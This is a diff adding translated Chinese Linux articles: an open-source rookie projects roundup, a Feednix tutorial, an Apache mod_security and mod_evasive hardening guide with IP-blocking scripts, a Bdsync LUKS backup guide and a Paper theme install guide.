是一个针对在运行中的容器进行收集,统计,处理和输出信息的工具,它可以给容器的使用者提供资源的使用情况和工作特性。对于每一个容器,cAdvisor记录着资源的隔离参数,资源使用历史,资源使用历史对比框图,网络状态。这些从容器输出的数据跨越主机传递。 + +cAdvisor可以在绝大多数的Linux发行版上运行,并且支持包括Docker在内的多种容器类型。事实上它成为了一种容器的代理,并被集成在了很多系统中。cAdvisor在DockerHub下载量也是位居前茅。cAdvisor的开发团队希望把cAdvisor改进到能够更深入地理解应用性能,并且集成到集群系统。 + +### 2015年度开源项目新秀: Terraform ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_11-100564912-orig.jpg) + +[Terraform][14]提供了一些常见设置来创建一个基础设施,从物理机到虚拟机,以及email服务器、DNS服务器等。这个想法包括从家庭个人机解决方案到公共云平台提供的服务。一旦建立好了以后,Terraform可以让运维人员安全又高效地改变你的基础设施,就如同配置一样。 + +Terraform.io的创始者工作在一个Devops模式的公司,他找到了一个窍门把建立一个完整的数据中心所需的知识结合在一起,可以从添加服务器到支持网络服务的功能齐备的数据中心。基础设施的描述采用高级的配置语法,允许你把数据中心的蓝图按版本管理,并且转换成多种代码。著名开源公司HashiCorp赞助开发这个项目。 + +### 荣誉奖: Docker Fig ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_12-100564913-orig.jpg) + +[Fig][15]为[Docker][16]的使用提供了一个快速的,分离的开发环境。Docker的移植只需要将配置信息放到一个简单的 fig.yml文件里。它会处理所有工作,包括构建、运行,端口转发,分享磁盘和容器链接。 + +Orchard去年发起了Fig,来创造一个使Docker工作起来的系统工具。它的开发像是为Docker设置开发环境,为了确保用户能够为他们的APP准确定义环境,在Docker中会运行数据库和缓存。Fig解决了开发者的一个难题。Docker全面支持这个开源项目,最近[将买下][17]Orchard来扩张这个项目。 + +### 荣誉奖: Drone ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_13-100564916-orig.jpg) + +[Drone][18]是一个基于Docker的持续集成平台,而且它是用Go语言写的。Drone项目不满于现存的设置开发环境的技术和流程。 + +Drone提供了一个简单的自动测试和持续交付的方法:简单选择一个Docker镜像来满足你的需求,连接并提交至GitHub即可。Drone使用Docker容器来提供隔离的测试环境,让每个项目完全自主控制它的环境,没有传统的服务器管理的负担。Drone背后的100位社区贡献者强烈希望把这个项目带到企业和移动应用程序开发中。 + +### 开源新秀 ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_14-100564941-orig.jpg) + +参见: + +- [InfoWorld2015年年度技术奖][21] +- [Bossies: 开源软件最高荣誉][22] + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/article/2875439/open-source-software/the-top-10-rookie-open-source-projects.html + +作者:[Black Duck Software][a] +译者:[sevenot](https://github.com/sevenot) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Black-Duck-Software/ +[1]:https://www.blackducksoftware.com/open-source-rookies +[2]:https://www.openhub.net/ +[3]:https://github.com/debops/debops +[4]:http://www.infoworld.com/article/2612397/data-center/review--ansible-orchestration-is-a-veteran-unix-admin-s-dream.html +[5]:https://codecombat.com/ +[6]:http://storj.io/ +[7]:http://neovim.org/ +[8]:https://github.com/cockroachdb/cockroach +[9]:http://www.infoworld.com/resources/16373/application-virtualization/the-beginners-guide-to-docker +[10]:http://kubernetes.io/ +[11]:https://openbazaar.org/ +[12]:http://ipfs.io/ +[13]:https://github.com/google/cadvisor +[14]:https://www.terraform.io/ +[15]:http://www.fig.sh/ +[16]:http://www.infoworld.com/resources/16373/application-virtualization/the-beginners-guide-to-docker +[17]:http://www.infoworld.com/article/2608546/application-virtualization/docker-acquires-orchard-in-a-sign-of-rising-ambitions.html +[18]:https://drone.io/ +[19]:http://www.infoworld.com/article/2683845/google-go/164121-Fast-guide-to-Go-programming.html +[20]:https://www.blackducksoftware.com/open-source-rookies +[21]:http://www.infoworld.com/article/2871935/application-development/infoworlds-2015-technology-of-the-year-award-winners.html +[22]:http://www.infoworld.com/article/2688104/open-source-software/article.html +[23]:http://www.infoworld.com/article/2854954/microsoft-windows/15-essential-open-source-tools-for-windows-admins.html + diff --git a/published/201506/20150209 How to access Feedly RSS feed from the command line on Linux.md b/published/201506/20150209 How to access Feedly RSS feed from the command line on Linux.md new file mode 100644 index 0000000000..6eac136d1a --- /dev/null +++ b/published/201506/20150209 How to access Feedly RSS feed from the command line on Linux.md @@ -0,0 +1,111 @@ +在 Linux 上如何用命令行获取 Freely RSS 源 +================================================================================ + +也许你并不知道 Feedly,它是世界上最流行的在线新闻聚合服务之一;它提供了平滑而一致的新闻阅读体验,你可以使用电脑的浏览器扩展,Android 和 iOS 设备上的移动应用程序等来体验Feedly。Feedly 在2013年Google Reader 停用后,迅速的获得了一大批Google Reader的用户。我就是他们之中的一位。从这以后,Feedly就一直是我的默认RSS(简易信息聚合)阅读器。 + +除了使用我非常喜欢的Feedly浏览器扩展和手机上的Feedly程序,这里还有一种途径来获取Feedly:Linux命令行。没错,你可以用命令行来获取Feedly上的新闻概要。听起来非常傻?但是对于那些在服务器上工作的系统管理员来说,这是非常有用的。 + +点击进入[Feednix][2],这个用c++编写的开源软件是Feedly的非官方命令行客户端。它允许你在一个基于ncurses的终端界面(例如:bash)下浏览Feedly的新闻。默认模式下,Feednix 关联了一个叫做 w3m 的基于控制台的浏览器,允许你在命令行终端的环境下阅读文章。当然你也可以选择使用你喜欢的网页浏览器。 + +在这个教程中,我准备示范一下怎样在命令行下安装和配置Feednix 来获取Feedly。 + +### 在Linux下安装Feednix ### + +你可以通过以下的步骤从源代码中构建Feednix。同时,在其官方的github仓库的Ubuntu-stable(Ubuntu稳定版本)的分支上有最新的Feednix源代码。现在让我们开始吧: + +作为必要组件,你需要安装一组开发包,和w3m浏览器(文字式页面浏览器)。 + +#### 在Debian、Ubuntu 和Linux Mint 操作 #### + + $ sudo apt-get install git automake g++ make libncursesw5-dev libjsoncpp-dev libcurl4-gnutls-dev w3m + $ git clone -b Ubuntu-stable https://github.com/Jarkore/Feednix.git + $ cd Feednix + $ ./autogen.sh + $ ./configure + $ make + $ sudo make install + + +#### 在Fedora 下操作 #### + + $ sudo yum groupinstall "C Development Tools and Libraries" + $ sudo yum install gcc-c++ git automake make ncurses-devel jsoncpp-devel libcurl-devel w3m + $ git clone -b Ubuntu-stable https://github.com/Jarkore/Feednix.git + $ cd Feednix + $ ./autogen.sh + $ ./configure + $ make + $ sudo make install + +#### Arch Linux #### + +在Arch Linux发行版下,你可以非常容易的从 [AUR][3]安装Feednix。 + +### 配置Feednix ### + +在安装完软件后,用下面的命令启动Feednix + + $ feednix + +如果你是第一次运行Feddnix,它会弹出一个网页浏览器窗口,在这个窗口里,你需要登录来创建一个Feedly的账户ID和相应的开发人员密钥。 + +如果你是在无桌面环境下运行Feednix,先在另外一台电脑上打开一个网页,进入到网站:https://feedly.com/v3/auth/dev 。 + +![](https://farm8.staticflickr.com/7427/15825106524_42883b3e32_b.jpg) + +当你登录后,你对应的Feedly账户ID就生成了。 + +![](https://farm9.staticflickr.com/8565/15827565143_eb93db9c81_b.jpg) + +为了得到一个访问密钥,你需要在浏览器上访问发送你的邮箱中的密钥链接。之后就会在浏览器窗口显示你的用户ID,密钥,和密钥的有效期。请注意密钥的长度是非常长的(超过200个字符),所以密钥显示在一个带有垂直滚动条的文本框内,请确保把整个密钥复制下来。 + +![](https://farm9.staticflickr.com/8605/16446685812_9098df494b_b.jpg) + +像下面这样,把你的用户ID和密钥输入到Feddnix的命令行提示下: + + [Enter User ID] >> XXXXXX + [Enter token] >> YYYYY + +成功授权后,你会在屏幕上见到一个初始化为两个窗格的Feednix界面。左边的标题为“Categories”窗格,显示了一个新闻分类栏;右边“Posts”窗格显示了当前类别的新闻文章。 + +![](https://farm8.staticflickr.com/7412/16421639256_deb8e2d276_c.jpg) + +### 用Feednix读文章 ### + +这里我想简要描叙一下怎样通过Feednix来访问Feedly。 + +#### 在Feednix中导航 #### + +像我之前提过的,Feednix窗口包含了两个窗格。想在两个窗口之间进行切换的话,可以使用"TAB"健。想在一个窗格内的列表中上下移动,可以使用"j"和"k"。这些快捷健明显是受到了Vim编辑器的启发。 + +#### 阅读文章 #### + +想阅读一篇特定的文章,可以在当前的文章上使用"o"健。它会调用w3m浏览器,并且在浏览器里面加载文章。当你读完之后,可以使用"q"健来退出浏览器,并返回到Feednix。如果你的电脑环境允许打开网页浏览器,你可以按"0"健来在你默认的网页浏览器里面加载文章,比如使用Firefox。 + +![](https://farm8.staticflickr.com/7406/16445870201_b98e8da6d9_b.jpg) + +#### 订阅新闻源 #### + +你可以在Feednix界面中来为你的Feedly账户增加任何一种RSS新闻源。要这么做,仅仅只需要按下"a"键,它会在屏幕底部显示一个"[ENTER FEED]:"的提示。在输入完RSS新闻源后,继续输入新闻源的名字和及其首选分类。 + +![](https://farm8.staticflickr.com/7324/16421639296_b52ed3c52e_c.jpg) + +#### 总结 #### + +如你所见, Feednix 是一个非常方便易用的命令行RSS阅读器。如果你是重度依赖命令行的用户,同时也是一个Feedly用户的话,Feednix 是肯定值得去尝试的。我和Feednix的开发者Jarkore交流解决了一些问题。我想说,对于[bug的报告][4]和修复他非常的积极。鼓励大家来试用Feednix,并且给他(Jarkore)一些回馈。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/feedly-rss-feed-command-line-linux.html + +作者:[Dan Nanni][a] +译者:[chenzhijun](https://github.com/chenzhijun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://feedly.com/ +[2]:https://github.com/Jarkore/Feednix +[3]:https://aur.archlinux.org/packages/feednix/ +[4]:https://github.com/Jarkore/Feednix/issues diff --git a/published/201506/20150211 Protect Apache Against Brute Force or DDoS Attacks Using Mod_Security and Mod_evasive Modules.md b/published/201506/20150211 Protect Apache Against Brute Force or DDoS Attacks Using Mod_Security and Mod_evasive Modules.md new file mode 100644 index 0000000000..bb69215e74 --- /dev/null +++ b/published/201506/20150211 Protect Apache Against Brute Force or DDoS Attacks Using Mod_Security and Mod_evasive Modules.md @@ -0,0 +1,275 @@ +在Apache中使用mod\_security和mod\_evasive来抵御暴力破解和DDos攻击 +================================================================================ + +对于那些需要在因特网上提供服务或托管主机的人来说,保证您的系统在面对攻击时的安全是一个重要的事情。 + +mod\_security(一个开源的用于Web应用入侵检测及防护的引擎,可以无缝地集成到Web服务器)和mod\_evasive是两个在服务器端对抗暴力破解和(D)Dos攻击的非常重要的工具。 + +mod\_evasive,如它的名字一样,在受攻击时提供避实就虚的功能,它像一个雨伞一样保护Web服务器免受那些威胁。 + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Install-Mod_Security-Mod_evasive-in-CentOS.jpg) + +*安装mod\_security和mod\_evasive来保护Apache* + +在这篇文章中我们将讨论如何安装、配置以及在RHEL/CentOS6、7和Fedora 21-15上将它们整合到Apache。另外,我们会模拟攻击以便验证服务器做出了正确的反应。 + +以上以您的系统中安装有LAMP服务器为基础,所以,如果您没有安装,请先阅读下面链接的文章再开始阅读本文。 + +- [在RHEL/CentOS 7中安装LAMP][1] + +(LCTT 译注:本文有修改。原文为了在RHEL/CentOS 7或Fedora 21中使用同样的工具,而删除了自带的 firewalld,使用了旧式的iptables。译者以为这样并不恰当,因此,译文中做了相应删节,并增加了firewalld的相应脚本。) + +### 步骤 1: 安装mod\_security和mod\_evasive ### + +另外,在安装LAMP后,您还需要在RHEL/CentOS 7/6中[开启EPEL仓库][3]来安装这两个包。Fedora用户不需要开启这个仓库,因为epel已经是Fedora项目的一部分了。 + + # yum update && yum install mod_security mod_evasive + +当安装结束后,您会在/etc/httpd/conf.d下找到这两个工具的配置文件。 + + # ls -l /etc/httpd/conf.d + +![](http://www.tecmint.com/wp-content/uploads/2012/06/mod_security-mod_evasive-Configurations.png) + +*mod\_security + mod\_evasive 配置文件* + +现在,为了整合这两个模块到Apache,并在启动时加载它们。请确保下面几行出现在mod\_evasive.conf和mod\_security.conf的顶层部分,它们分别为: + + LoadModule evasive20_module modules/mod_evasive24.so + LoadModule security2_module modules/mod_security2.so + +请注意modules/mod\_security2.so和modules/mod\_evasive24.so都是从/etc/httpd到模块源文件的相对路径。您可以通过列出/etc/httpd/modules的内容来验证(如果需要的话,修改它): + + # cd /etc/httpd/modules + # pwd + # ls -l | grep -Ei '(evasive|security)' + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Verify-mod_security-mod_evasive-Modules.png) + +*验证mod\_security + mod\_evasive模块* + +接下来重启Apache并且核实它已加载了mod\_evasive和mod\_security: + + # service httpd restart [在RHEL/CentOS 6和Fedora 20-18上] + # systemctl restart httpd [在RHEL/CentOS 7和Fedora 21上] + +---------- + + # httpd -M | grep -Ei '(evasive|security)' [输出已加载的静态模块和动态模块列表] + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Check-mod_security-mod_evasive-Loaded.png) + +*检查mod\_security + mod\_evasive模块已加载* + +### 步骤 2: 安装一个核心规则集并且配置mod\_security ### + +简单来说,一个核心规则集(即CRS)为web服务器提供特定状况下如何反应的指令。mod\_security的开发者们提供了一个免费的CRS,叫做OWASP([开放Web应用安全项目])ModSecurity CRS,可以从下面的地址下载和安装。 + +####下载OWASP CRS到为之创建的目录#### + + # mkdir /etc/httpd/crs-tecmint + # cd /etc/httpd/crs-tecmint + # wget https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Download-mod_security-Core-Rules.png) + +*下载mod\_security核心规则* + +#### 解压CRS文件并修改文件夹名称#### + + # tar xzf master + # mv SpiderLabs-owasp-modsecurity-crs-ebe8790 owasp-modsecurity-crs + + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Extract-mod_security-Core-Rules.png) + +*解压mod\_security核心规则* + +####现在,是时候配置mod\_security了#### + +将示例的规则文件(owasp-modsecurity-crs/modsecurity_crs_10_setup.conf.example)拷贝为同名的配置文件。 + + # cp modsecurity_crs_10_setup.conf.example modsecurity_crs_10_setup.conf + +并通过将下面的几行插入到web服务器的主配置文件/etc/httpd/conf/httpd.conf来告诉Apache将这个文件和该模块放在一起使用。如果您选择解压打包文件到另一个文件夹,那么您需要修改Include的路径: + + + Include crs-tecmint/owasp-modsecurity-crs/modsecurity_crs_10_setup.conf + Include crs-tecmint/owasp-modsecurity-crs/base_rules/*.conf + + +最后,建议您在/etc/httpd/modsecurity.d目录下创建自己的配置文件,在那里我们可以用我们自定义的文件夹(接下来的示例中,我们会将其命名为tecmint.conf)而无需修改CRS文件的目录。这样做能够在CRS发布新版本时更加容易的升级。 + + + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType text/plain text/html text/xml application/octet-stream + SecDataDir /tmp + + +您可以在[SpiderLabs的ModSecurity GitHub][5]仓库中参考关于mod\_security目录的更完整的解释。 + +### 步骤 3: 配置mod\_evasive ### + +mod\_evasive被配置为使用/etc/httpd/conf.d/mod\_evasive.conf中的指令。与mod\_security不同,由于在包升级时没有规则来更新,因此我们不需要独立的文件来添加自定义指令。 + +默认的mod\_evasive.conf开启了下列的目录(注意这个文件被详细的注释了,因此我们剔掉了注释以重点显示配置指令): + + + DOSHashTableSize 3097 + DOSPageCount 2 + DOSSiteCount 50 + DOSPageInterval 1 + DOSSiteInterval 1 + DOSBlockingPeriod 10 + + +这些指令的解释: + +- DOSHashTableSize: 这个指令指明了哈希表的大小,它用来追踪基于IP地址的活动。增加这个数字将使得站点访问历史的查询变得更快,但如果被设置的太大则会影响整体性能。 +- DOSPageCount: 在DOSPageInterval间隔内可由一个用户发起的针对特定的URI(例如,一个Apache 提供服务的文件)的同一个请求的数量。 +- DOSSiteCount: 类似DOSPageCount,但涉及到整个站点总共有多少的请求可以在DOSSiteInterval间隔内被发起。 +- DOSBlockingPeriod: 如果一个用户超过了DOSSPageCount的限制或者DOSSiteCount,他的源IP地址将会在DOSBlockingPeriod期间内被加入黑名单。在DOSBlockingPeriod期间,任何从这个IP地址发起的请求将会遭遇一个403禁止错误。 + +尽可能的试验这些值,以使您的web服务器有能力处理特定大小的负载。 + +**一个小警告**: 如果这些值设置的不合适,则您会蒙受阻挡合法用户的风险。 + +您也许还会用到以下其它有用的指令: + +#### DOSEmailNotify #### + +如果您运行有一个邮件服务器,您可以通过Apache发送警告消息。注意,如果SELinux已开启,您需要授权apache用户SELinux的权限来发送email。您可以通过下面的命令来授予权限: + + # setsebool -P httpd_can_sendmail 1 + +接下来,将这个指令和其他指令一起加入到mod\_evasive.conf文件。 + + DOSEmailNotify you@yourdomain.com + +如果这个指令设置了合适的值,并且您的邮件服务器在正常的运行,则当一个IP地址被加入黑名单时,会有一封邮件被发送到相应的地址。 + +#### DOSSystemCommand #### + +它需要一个有效的系统命令作为参数, + + DOSSystemCommand
+ +这个指令指定当一个IP地址被加入黑名单时执行的命令。它通常结合shell脚本来使用,比如在脚本中添加一条防火墙规则来阻挡某个IP进一步的连接。 + +#####写一个shell脚本在防火墙阶段处理IP黑名单##### + +当一个IP地址被加入黑名单,我们需要阻挡它进一步的连接。我们需要下面的shell脚本来执行这个任务。在/usr/local/bin下创建一个叫做scripts-tecmint的文件夹(或其他的名字),以及一个叫做ban_ip.sh的文件。 + +**用于iptables防火墙** + + #!/bin/sh + # 由mod_evasive检测出,将被阻挡的IP地址 + IP=$1 + # iptables的完整路径 + IPTABLES="/sbin/iptables" + # mod_evasive锁文件夹 + mod_evasive_LOGDIR=/var/log/mod_evasive + # 添加下面的防火墙规则 (阻止所有从$IP流入的流量) + $IPTABLES -I INPUT -s $IP -j DROP + # 为了未来的检测,移除锁文件 + rm -f "$mod_evasive_LOGDIR"/dos-"$IP" + +**用于firewalld防火墙** + + #!/bin/sh + # 由mod_evasive检测出,将被阻挡的IP地址 + IP=$1 + # firewalld-cmd的完整路径 + FIREWALL_CMD="/usr/bin/firewall-cmd" + # mod_evasive锁文件夹 + mod_evasive_LOGDIR=/var/log/mod_evasive + # 添加下面的防火墙规则 (阻止所有从$IP流入的流量) + $FIREWALL_CMD --zone=drop --add-source $IP + # 为了未来的检测,移除锁文件 + rm -f "$mod_evasive_LOGDIR"/dos-"$IP" + +我们的DOSSystemCommand指令应该是这样的: + + DOSSystemCommand "sudo /usr/local/bin/scripts-tecmint/ban_ip.sh %s" + +上面一行的%s代表了由mod_evasive检测到的攻击IP地址。 + +#####将apache用户添加到sudoers文件##### + +请注意,如果您不给予apache用户以无需终端和密码的方式运行我们脚本(关键就是这个脚本)的权限,则这一切都不起作用。通常,您只需要以root权限键入visudo来存取/etc/sudoers文件,接下来添加下面的两行即可: + + apache ALL=NOPASSWD: /usr/local/bin/scripts-tecmint/ban_ip.sh + Defaults:apache !requiretty + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Add-Apache-User-to-Sudoers.png) + +*添加Apache用户到Sudoers* + +**重要**: 在默认的安全策略下您只能在终端中运行sudo。由于这个时候我们需要在没有tty的时候运行sudo,我们必须像下图中那样注释掉下面这一行: + + #Defaults requiretty + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Disable-tty-for-Sudo.png) + +*为Sudo禁用tty* + +最后,重启web服务器: + + # service httpd restart [在RHEL/CentOS 6和Fedora 20-18上] + # systemctl restart httpd [在RHEL/CentOS 7和Fedora 21上] + +### 步骤4: 在Apache上模拟DDos攻击 ### + +有许多工具可以在您的服务器上模拟外部的攻击。您可以google下“tools for simulating ddos attacks”来找一找相关的工具。 + +注意,您(也只有您)将负责您模拟所造成的结果。请不要考虑向不在您自己网络中的服务器发起模拟攻击。 + +假如您想对一个由别人托管的VPS做这些事情,您需要向您的托管商发送适当的警告或就那样的流量通过他们的网络获得允许。Tecmint.com不会为您的行为负责! + +另外,仅从一个主机发起一个Dos攻击的模拟无法代表真实的攻击。为了模拟真实的攻击,您需要使用许多客户端在同一时间将您的服务器作为目标。 + +我们的测试环境由一个CentOS 7服务器[IP 192.168.0.17]和一个Windows组成,在Windows[IP 192.168.0.103]上我们发起攻击: + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Confirm-Host-IPAddress.png) +I +*确认主机IP地址* + +请播放下面的视频(YT 视频,请自备梯子: https://www.youtube.com/-U_mdet06Jk ),并跟从列出的步骤来模拟一个Dos攻击: + +然后攻击者的IP将被防火墙阻挡: + +![](http://www.tecmint.com/wp-content/uploads/2012/06/Blocked-Attacker-IP.png) + +*阻挡攻击者的IP地址* + +### 结论 ### + +在开启mod\_security和mod\_evasive的情况下,模拟攻击会导致CPU和RAM用量在源IP地址被加入黑名单之前出现短暂几秒的使用峰值。如果没有这些模块,模拟攻击绝对会很快将服务器击溃,并使服务器在攻击期间无法提供服务。 + +我们很高兴听见您打算使用(或已经使用过)这些工具。我们期望得到您的反馈,所以,请在留言处留下您的评价和问题,谢谢! + +### 参考链接 ### + +- [https://www.modsecurity.org/][6] +- [http://www.zdziarski.com/blog/?page_id=442][7] + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/protect-apache-using-mod_security-and-mod_evasive-on-rhel-centos-fedora/ + +作者:[Gabriel Cánepa][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/gacanepa/ +[1]:http://www.tecmint.com/install-lamp-in-centos-7/ +[2]:https://linux.cn/article-4425-1.html +[3]:https://linux.cn/article-2324-1.html +[4]:https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project +[5]:https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#Configuration_Directives +[6]:https://www.modsecurity.org/ +[7]:http://www.zdziarski.com/blog/?page_id=442 \ No newline at end of file diff --git a/published/201506/20150225 How to make remote incremental backup of LUKS-encrypted disk or partition.md b/published/201506/20150225 How to make remote incremental backup of LUKS-encrypted disk or partition.md new file mode 100644 index 0000000000..122787ee3d --- /dev/null +++ b/published/201506/20150225 How to make remote incremental backup of LUKS-encrypted disk or partition.md @@ -0,0 +1,80 @@ +为LUKS加密的磁盘/分区做增量备份 +================================================================================ +我们中有些人出于安全原因,在家里或者[VPS][1]上通过[Linux统一密钥配置(LUKS)][2]为硬盘驱动器加密,而这些驱动器的容量很快会增长到数十或数百GB。因此,虽然我们享受着LUKS设备带来的安全感,但是我们也该开始考虑一个可能的远程备份方案了。对于安全的非现场备份,我们将需要能在LUKS加密的设备上以块级别操作的东西。因此,最后我们发现这么个状况,我们每次都需要传输想要做备份的整个LUKS设备(比如说200GB大)。很明显,这是不可行的。我们该怎么来处理这个问题呢? + +### 一个解决方案: Bdsync ### + +这时,一个卓越的开源工具来拯救我们了,它叫[Bdsync][3](多亏了Rolf Fokkens)。顾名思义,Bdsync可以通过网络同步“块设备”。对于快速同步,Bdsync会生成并对比本地/远程块设备的块的MD5校验和,只同步差异部分。rsync在文件系统级别可以做的,Bdsync可以在块设备级别完成。很自然,对于LUKS加密的设备它也能工作得很好。相当地灵巧! + +使用Bdsync,首次备份将拷贝整个LUKS块设备到远程主机,因而会花费大量时间来完成。然而,在初始备份后,如果我们在LUKS设备新建一些文件,再次备份就会很快完成,因为我们只需拷贝修改过的块。经典的增量备份在起作用了! + +### 安装Bdsync到Linux ### + +Bdsync并不包含在Linux发行版的标准仓库中,因而你需要从源代码来构建它。使用以下针对特定版本的指令来安装Bdsync及其手册页到你的系统中。 + +#### Debian,Ubuntu或Linux Mint #### + + $ sudo apt-get install git gcc libssl-dev + $ git clone https://github.com/TargetHolding/bdsync.git + $ cd bdsync + $ make + $ sudo cp bdsync /usr/local/sbin + $ sudo mkdir -p /usr/local/man/man1 + $ sudo sh -c 'gzip -c bdsync.1 > /usr/local/man/man1/bdsync.1.gz' + +#### Fedora或CentOS/RHEL #### + + $ sudo yum install git gcc openssl-devel + $ git clone https://github.com/TargetHolding/bdsync.git + $ cd bdsync + $ make + $ sudo cp bdsync /usr/local/sbin + $ sudo mkdir -p /usr/local/man/man1 + $ sudo sh -c 'gzip -c bdsync.1 > /usr/local/man/man1/bdsync.1.gz' + +### 对LUKS加密的设备实施非现场增量备份 ### + +我假定你已经准备好了一个LUKS加密的块设备作为备份源(如,/dev/LOCDEV)。同时,我假定你也有一台远程主机,用以作为源设备的备份点(如,/dev/REMDEV)。 + +你需要在两台系统上具有root帐号访问权限,并且设置从本地访问远程的[无密码SSH访问][5]。最后,你需要安装Bdsync到两台主机上。 + +要在本地主机上初始化一个远程备份进程,我们需要以root执行以下命令: + + # bdsync "ssh root@remote_host bdsync --server" /dev/LOCDEV /dev/REMDEV | gzip > /some_local_path/DEV.bdsync.gz + +这里需要进行一些说明。Bdsync客户端将以root打开一个到远程主机的SSH连接,并执行带有--server选项的Bdsync客户端。明确说明一下,/dev/LOCDEV是我们的本地主机上的源LUKS块设备,而/dev/REMDEV是远程主机上的目标块设备。它们可以是/dev/sda(作为整个磁盘),或者/dev/sda2(作为单个分区)。本地Bdsync客户端的输出结果随后被管道输送到gzip,用来在本地主机中创建DEV.bdsync.gz(所谓的二进制补丁文件)。 + +你第一次运行上面的命令的时候,它会花费很长一段时间,这取决于你的互联网/局域网速度,以及/dev/LOCDEV的大小。记住,你必须有两个大小相同的块设备(/dev/LOCDEV和/dev/REMDEV)。 + +下一步是要将补丁文件从本地主机拷贝到远程主机。一种方式是使用scp: + + # scp /some_local_path/DEV.bdsync.gz root@remote_host:/remote_path + +最后一步,是要在远程主机上执行以下命令,它们会将补丁文件应用到/dev/REMDEV: + + # gzip -d < /remote_path/DEV.bdsync.gz | bdsync --patch=/dev/DSTDEV + +我推荐在使用真实数据部署Bdsync前,使用一些(没有任何重要数据)小分区来做这些测试。在你完全弄懂整个设置是如何工作之后,你可以开始备份真实数据。 + +### 尾声 ### + +小结之,我们演示了如何使用Bdsync来为LUKS设备实施增量备份。和rsync一样,每次备份只有一小部分数据,而不是整个LUKS设备,需要被推送到非现场备份点,这样会节省带宽和备份时间。剩下来,需要通过SSH或SCP来保证所有数据传输的安全,事实上设备自身是由LUKS加密的。也可以通过使用可以运行bdsync的专用用户(而非root)来改进该配置。我们也可以将bdsync用于任何块设备,如LVM卷或RAID磁盘,也可以很轻易地设置Bdsync备份本地磁盘到USB驱动器上。如你所见,它有着无限可能性! + +随时分享你的想法。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/remote-incremental-backup-luks-encrypted-disk-partition.html + +作者:[Iulian Murgulet][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/iulian +[1]:http://xmodulo.com/go/digitalocean +[2]:http://xmodulo.com/how-to-create-encrypted-disk-partition-on-linux.html +[3]:http://bdsync.rolf-fokkens.nl/ +[4]:http://xmodulo.com/recommend/linuxbook +[5]:https://linux.cn/article-5444-1.html diff --git a/published/201506/20150225 Install Google's Material Design Inspired GTK And Icon Theme Paper in Linux.md b/published/201506/20150225 Install Google's Material Design Inspired GTK And Icon Theme Paper in Linux.md new file mode 100644 index 0000000000..a4ca97ed5a --- /dev/null +++ b/published/201506/20150225 Install Google's Material Design Inspired GTK And Icon Theme Paper in Linux.md @@ -0,0 +1,70 @@ +在 Linux 下体验谷歌 Material风格的GTK和图标主题Paper +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Paper_theme_Material_Design.jpg) + +[Paper][1]是一款即将与广大朋友们见面的一个图形工具包和图标主题,它的设计灵感来自于谷歌的设计语言[Material风格][2]。Paper由Sam Hewitt发起,Sam是[Moka项目][3]的一员,Moka总会设计出[让人满意的Ubuntu主题][4]。对于Paper,我敢说只要它一经推出,它必将是[最好的GTK主题开发包][5]之一。 + +对的,你没有听错,Paper主题还在开发阶段。因此我建议,如果你想在你的Ubuntu或者它的衍生版本上安装Paper,最好抱着试一试的实验心态。因为你多多少少会发现一些破损的图标,但这并不影响整体体验非常棒! + +### 通过PPA在Ubuntu及其衍生版本上安装Paper主题 ### + +Sam为Ubuntu和它的衍生版本设置了一个专用的PPA(Presonal Package Archives,个人软件包档案)。我推荐你通过PPA安装而不是下载Paper主题,因为你将会定期更新主题。这个PPA可供使用的系统有Ubuntu 15.04, Ubuntu 14.10, Ubuntu 14.04, Elementary OS Freya, Elementary OS Luna, Linux Mint 17, Linux Mint 16 和其它的Ubuntu衍生版本。 + +打开终端,输入下列命令: + + sudo add-apt-repository ppa:snwh/pulp + sudo apt-get update + sudo apt-get install paper-gtk-theme paper-icon-theme + +### 下载Paper GTK和图标主题 ### + + +如果你不想用PPA,你可以手动下载主题和图标。但是就像刚才所说,这样你就无法自动更新。 + +- [下载Paper图标主题][6] +- [下载Paper的GTK主题][7] + +#### 把它们用起来吧 #### + +我希望你知道怎么在你的Ubuntu中安装或者更改主题。如果你不知道,下面几个教程将帮助你安装一个新的主题。 + +- [如何在标准Ubuntu中更改主题][8] +- [如何在GNOME Shell中更改主题][9] +- [如何在Ubuntu Mint中更改主题][10] +- [如何在Elementary OS Freya中更改主题][11] + +#### 就是这样! #### + +因为我用过[Elementary OS Freya][12]一段时间,这里有一些看起来像Elementary OS Freya的Paper主题和图标的截图。我使用了一张Material Design风格的墙纸,这样可以更好的匹配主题和图标。 + 